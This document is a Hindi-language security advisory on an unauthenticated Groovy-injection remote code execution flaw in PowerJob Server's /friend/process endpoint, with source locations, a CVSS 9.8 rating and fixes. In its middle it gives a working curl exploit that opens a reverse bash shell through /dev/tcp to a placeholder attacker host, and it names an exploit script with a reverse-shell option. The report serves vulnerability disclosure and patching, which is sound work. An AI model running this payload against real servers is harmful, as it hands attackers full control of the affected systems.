
अनधिकृत रिमोट कोड निष्पादन शोषण PowerJob Server के लिए /friend/process एंडपॉइंट में Groovy इंजेक्शन के माध्यम से, जो मनमाना कमांड निष्पादन और रिवर्स शेल सक्षम करता है।
/friend/process (Groovy इंजेक्शन) के माध्यम से रिमोट कोड निष्पादनPowerJob सर्वर (वितरित जॉब शेड्यूलिंग / कंप्यूटिंग फ्रेमवर्क) अपने Worker↔Server ट्रांसपोर्ट-लेयर HTTP पोर्ट 10010 पर /friend/process एंडपॉइंट को बिना किसी प्रमाणीकरण के उजागर करता है। यह एंडपॉइंट किसी भी Spring Bean के किसी भी सार्वजनिक मेथड को रिफ्लेक्ट करता है; एक हमलावर GroovyEvaluator.evaluate को कॉल करके मनमाने Groovy एक्सप्रेशन निष्पादित कर सकता है, जिससे बिना प्रमाणीकरण के रिमोट कोड निष्पादन प्राप्त होता है। डिफ़ॉल्ट docker-compose इस पोर्ट को 0.0.0.0 पर प्रकाशित करता है, इसलिए एक सर्वर को शून्य क्रेडेंशियल्स के साथ पूरी तरह से समझौता किया जा सकता है।
docker-compose.yml:29-33,47-48 होस्ट 0.0.0.0 पर 10010 (HTTP ट्रांसपोर्ट), 10086 (AKKA), 10077 (MU) प्रकाशित करता है| आइटम | मान |
|---|---|
| ट्रिगरिंग एंडपॉइंट | POST http://<server>:10010/friend/process |
| पंजीकरण | FriendActor.java @Actor(path = "friend") + @Handler(path = "process") (सभी तीन प्रोटोकॉल के लिए पंजीकृत: HTTP/MU/AKKA) |
| रिफ्लेक्टिव निष्पादन | RemoteRequestProcessor.processRemoteRequest() |
| खतरनाक सिंक | GroovyEvaluator.evaluate() → ScriptEngine.eval() |
| लापता प्रमाणीकरण | HttpVertxCSInitializer (HTTP) / MuServerHandler (MU) बिना किसी टोकन/हस्ताक्षर जांच के रूट पंजीकृत करते हैं |
मुख्य स्रोत फ़ाइलें (रिपॉजिटरी रूट के सापेक्ष):
powerjob-remote/powerjob-remote-impl-http/src/main/java/tech/powerjob/remote/http/HttpVertxCSInitializer.java (10010 रूट पंजीकृत करता है, कोई प्रमाणीकरण नहीं)powerjob-server/powerjob-server-remote/src/main/java/tech/powerjob/server/remote/server/FriendActor.java:40-53powerjob-server/powerjob-server-remote/src/main/java/tech/powerjob/server/remote/server/redirector/RemoteRequestProcessor.java:17-37powerjob-server/powerjob-server-core/src/main/java/tech/powerjob/server/core/evaluator/GroovyEvaluator.java:17-28RemoteRequestProcessor.processRemoteRequest अनुरोध बॉडी के className, methodName, parameterTypes और args फ़ील्ड पर पूरी तरह भरोसा करता है — यह किसी भी Spring Bean को प्राप्त करने के लिए Class.forName + SpringUtils.getBean का उपयोग करता है और फिर Spring ReflectionUtils के माध्यम से उसके किसी भी सार्वजनिक मेथड को कॉल करता है।GroovyEvaluator एक @Component bean है जिसका evaluate(String, Object) Groovy स्क्रिप्ट इंजन (ScriptEngineManager) को कॉल करके हमलावर के एक्सप्रेशन को सीधे eval() करता है।तीनों का संयोजन बिना प्रमाणीकरण के RCE के बराबर है।
RemoteProcessReq JSON है जो मनमाने Groovy एक्सप्रेशन (जैसे, 'id'.execute().text) के साथ GroovyEvaluator.evaluate को लक्षित करता है।AskResponse.data (base64 JSON) में हमलावर को वापस भेजा जाता है।पर्यावरण: JDK 17, स्रोत-निर्मित powerjob-server-starter-5.1.2.jar (दैनिक प्रोफ़ाइल), सर्वर 192.168.49.128:10010 पर सुन रहा है। JDK 21 पर पुनः सत्यापित (नीचे शेल-फॉर्म पेलोड दोनों पर काम करता है; नीचे File.write पर नोट देखें)।
curl -s http://192.168.49.128:10010/friend/process -H 'Content-Type: application/json' -d '{
"className": "tech.powerjob.server.core.evaluator.GroovyEvaluator",
"methodName": "evaluate",
"parameterTypes": ["java.lang.String","java.lang.Object"],
"args": ["['/bin/sh','-c','bash -i >& /dev/tcp/reverseip/reverseport 0>&1 &'].execute().text", null]
}'
वास्तविक प्रतिक्रिया: {"success":true,"data":"InJldmVyc2Utc2hlbGwtbGF1bmNoZWQi"}। data फ़ील्ड का Base64-डिकोडिंग सर्वर JVM पर निष्पादित कमांड आउटपुट देता है:

वैकल्पिक रूप से, आप स्क्रिप्ट का उपयोग करके इसे पुनरुत्पादित कर सकते हैं:
python3 powerjob_friend_process_rce.py 192.168.49.128:10010 --reverse-shell 192.168.3.17:7878
/friend/process Server↔Worker आंतरिक संचार का हिस्सा है; इसे बिना प्रमाणीकरण वाले अनुरोधों को अस्वीकार करना चाहिए, या मेथड को दूरस्थ रूप से कॉल करने योग्य नहीं होना चाहिए।RemoteRequestProcessor को एक अनुमतिसूची में बदलें: className/methodName को फ्रेमवर्क-परिभाषित सुरक्षित हैंडलर तक सीमित करें और मनमाने beans के रिफ्लेक्टिव कॉल को प्रतिबंधित करें।GroovyEvaluator की दूरस्थ पहुंच को हटाएं या सख्ती से प्रतिबंधित करें (यदि इसे बनाए रखना आवश्यक है, तो प्रमाणीकरण और एक सैंडबॉक्स जोड़ें)।/friend/process (S4S_HANDLER_PROCESS) को डिफ़ॉल्ट रूप से अक्षम करें या इसे केवल आंतरिक स्रोतों तक सीमित करें।CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 क्रिटिकल
mvn -B -DskipTests -pl powerjob-server/powerjob-server-starter -am package/friend/process डेटाबेस के बिना ट्रिगर करने योग्य है)java -Xmx512m -jar powerjob-server-starter-5.1.2.jar --spring.profiles.active=daily ...